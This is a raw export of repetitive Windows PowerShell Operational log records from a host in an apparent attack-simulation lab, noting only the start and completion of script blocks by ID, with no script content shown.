SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028566
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028565
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028560
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028559
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028537
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028536
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028535
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028534
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
